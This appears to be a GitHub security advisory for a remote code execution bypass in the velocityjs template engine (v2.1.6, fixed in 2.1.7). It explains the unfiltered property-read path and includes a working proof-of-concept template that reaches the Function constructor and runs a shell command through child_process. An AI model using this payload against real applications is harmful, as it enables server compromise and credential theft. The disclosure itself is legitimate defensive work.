GHSA-7GFH-X38P-PRH3
Vulnerability from github – Published: 2026-07-24 16:21 – Updated: 2026-07-24 16:21Summary
Remote Code Execution (RCE) in velocityjs v2.1.6 via property-read to the Function constructor. This bypasses the fix for GHSA-j658-c2gf-x6pq ("Prototype Pollution in #set path assignment") — that advisory blocked constructor/proto/prototype only in the #set assignment handler (set.cjs), but property read expressions are unfiltered. Any application rendering attacker-controlled Velocity templates is vulnerable to arbitrary code execution on the server.
Details
GHSA-j658-c2gf-x6pq added isBlockedPathKey() to dist/cjs/compile/set.cjs:35-43, which blocks proto, constructor, and prototype keys. However, this check only runs when the #set directive assigns a value — it validates the assignment target path, not the value expression being evaluated. The value expression is evaluated via getReferences() in dist/cjs/compile/references.cjs:16, which calls getAttributes() at line 81. The property access at line 88-89 has no filtering: // references.cjs:81-91 getAttributes(property, baseRef, ast) { if (property.type === "property") { return baseRef[property.id]; // ← NO BLOCK on "constructor", "prototype", etc. } ... } Meanwhile, set.cjs:35-43 properly blocks these keys, but only for the #set target: // set.cjs:35-43 isBlockedPathKey(baseRef, key, isEnd) { if (key === PROTO_KEY) return true; // "proto" if (key === "prototype" && typeof baseRef === "function") return true; return !isEnd && PROTOTYPE_CHAIN_KEYS.has(key) && !hasOwnProperty(baseRef, key); } The exploit chain: 1. $x.constructor → getAttributes() → {}["constructor"] → Object 2. .constructor → getAttributes() → Object["constructor"] → Function 3. ("return process.mainModule.require('child_process').execSync('whoami')") → calls Function(...) → creates a function 4. The #set assigns the result to $f, which is then rendered as $r The #set handler validates $f as the assignment target (which passes — f is not blocked), but never inspects the right-hand expression for prototype chain traversal.
PoC
const velocity = require('velocityjs');
const template = "#set($f=$x.constructor.constructor(\"return process.mainModule.require('child_process').execSync('whoami').toString()\"))#set($r=$f())$r";
console.log(velocity.render(template, { x: {} })); // Output: Verified on velocityjs v2.1.6, Node.js v24.15.0, Windows.
Impact
Type: Remote Code Execution (RCE)
Any application that renders attacker-controlled Velocity templates using velocityjs is vulnerable to full server compromise. The attacker can execute arbitrary shell commands, read environment variables, access cloud credentials, and pivot to internal network resources. The existing advisory GHSA-j658-c2gf-x6pq established the threat model: "any app rendering attacker-controlled templates." This finding demonstrates that the fix was incomplete — the #set blocking was added but property read expressions remain unfiltered, making the issue strictly worse (RCE vs prototype pollution).
Patches
Fixed in velocityjs 2.1.7. The fix was merged in pull request #192 and released as v2.1.7. Users should upgrade to version 2.1.7 or later.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.6"
},
"package": {
"ecosystem": "npm",
"name": "velocityjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:21:22Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nRemote Code Execution (RCE) in velocityjs v2.1.6 via property-read to the Function constructor. This bypasses the fix for GHSA-j658-c2gf-x6pq (\"Prototype Pollution in #set path assignment\") \u2014 that advisory blocked constructor/__proto__/prototype only in the #set assignment handler (set.cjs), but property read expressions are unfiltered. Any application rendering attacker-controlled Velocity templates is vulnerable to arbitrary code execution on the server.\n\n### Details\n\nGHSA-j658-c2gf-x6pq added isBlockedPathKey() to dist/cjs/compile/set.cjs:35-43, which blocks __proto__, constructor, and prototype keys. However, this check only runs when the #set directive assigns a value \u2014 it validates the assignment target path, not the value expression being evaluated.\nThe value expression is evaluated via getReferences() in dist/cjs/compile/references.cjs:16, which calls getAttributes() at line 81. The property access at line 88-89 has no filtering:\n// references.cjs:81-91\ngetAttributes(property, baseRef, ast) {\n if (property.type === \"property\") {\n return baseRef[property.id]; // \u2190 NO BLOCK on \"constructor\", \"prototype\", etc.\n }\n ...\n}\nMeanwhile, set.cjs:35-43 properly blocks these keys, but only for the #set target:\n// set.cjs:35-43\nisBlockedPathKey(baseRef, key, isEnd) {\n if (key === PROTO_KEY) return true; // \"__proto__\"\n if (key === \"prototype\" \u0026\u0026 typeof baseRef === \"function\") return true;\n return !isEnd \u0026\u0026 PROTOTYPE_CHAIN_KEYS.has(key) \u0026\u0026 !hasOwnProperty(baseRef, key);\n}\nThe exploit chain:\n1. $x.constructor \u2192 getAttributes() \u2192 {}[\"constructor\"] \u2192 Object\n2. .constructor \u2192 getAttributes() \u2192 Object[\"constructor\"] \u2192 Function\n3. (\"return process.mainModule.require(\u0027child_process\u0027).execSync(\u0027whoami\u0027)\") \u2192 calls Function(...) \u2192 creates a function\n4. The #set assigns the result to $f, which is then rendered as $r\nThe #set handler validates $f as the assignment target (which passes \u2014 f is not blocked), but never inspects the right-hand expression for prototype chain traversal.\n\n### PoC\n\nconst velocity = require(\u0027velocityjs\u0027);\n\nconst template = \"#set($f=$x.constructor.constructor(\\\"return process.mainModule.require(\u0027child_process\u0027).execSync(\u0027whoami\u0027).toString()\\\"))#set($r=$f())$r\";\n\nconsole.log(velocity.render(template, { x: {} }));\n// Output: \u003ccurrent OS username\u003e\nVerified on velocityjs v2.1.6, Node.js v24.15.0, Windows.\n\n### Impact\n\nType: Remote Code Execution (RCE)\n\nAny application that renders attacker-controlled Velocity templates using velocityjs is vulnerable to full server compromise. The attacker can execute arbitrary shell commands, read environment variables, access cloud credentials, and pivot to internal network resources.\nThe existing advisory GHSA-j658-c2gf-x6pq established the threat model: \"any app rendering attacker-controlled templates.\" This finding demonstrates that the fix was incomplete \u2014 the #set blocking was added but property read expressions remain unfiltered, making the issue strictly worse (RCE vs prototype pollution).\n\n### Patches\n\nFixed in [velocityjs 2.1.7](https://www.npmjs.com/package/velocityjs/v/2.1.7). The fix was merged in [pull request #192](https://github.com/shepherdwind/velocity.js/pull/192) and released as [v2.1.7](https://github.com/shepherdwind/velocity.js/releases/tag/v2.1.7). Users should upgrade to version 2.1.7 or later.",
"id": "GHSA-7gfh-x38p-prh3",
"modified": "2026-07-24T16:21:22Z",
"published": "2026-07-24T16:21:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/shepherdwind/velocity.js/security/advisories/GHSA-7gfh-x38p-prh3"
},
{
"type": "WEB",
"url": "https://github.com/shepherdwind/velocity.js/pull/192"
},
{
"type": "WEB",
"url": "https://github.com/shepherdwind/velocity.js/commit/f8e47a6c4607249b9c967d3a1ced959b4dd64dba"
},
{
"type": "PACKAGE",
"url": "https://github.com/shepherdwind/velocity.js"
},
{
"type": "WEB",
"url": "https://github.com/shepherdwind/velocity.js/releases/tag/v2.1.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Velocity.js: Remote Code Execution via property-read to Function constructor (bypass of GHSA-j658-c2gf-x6pq fix)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.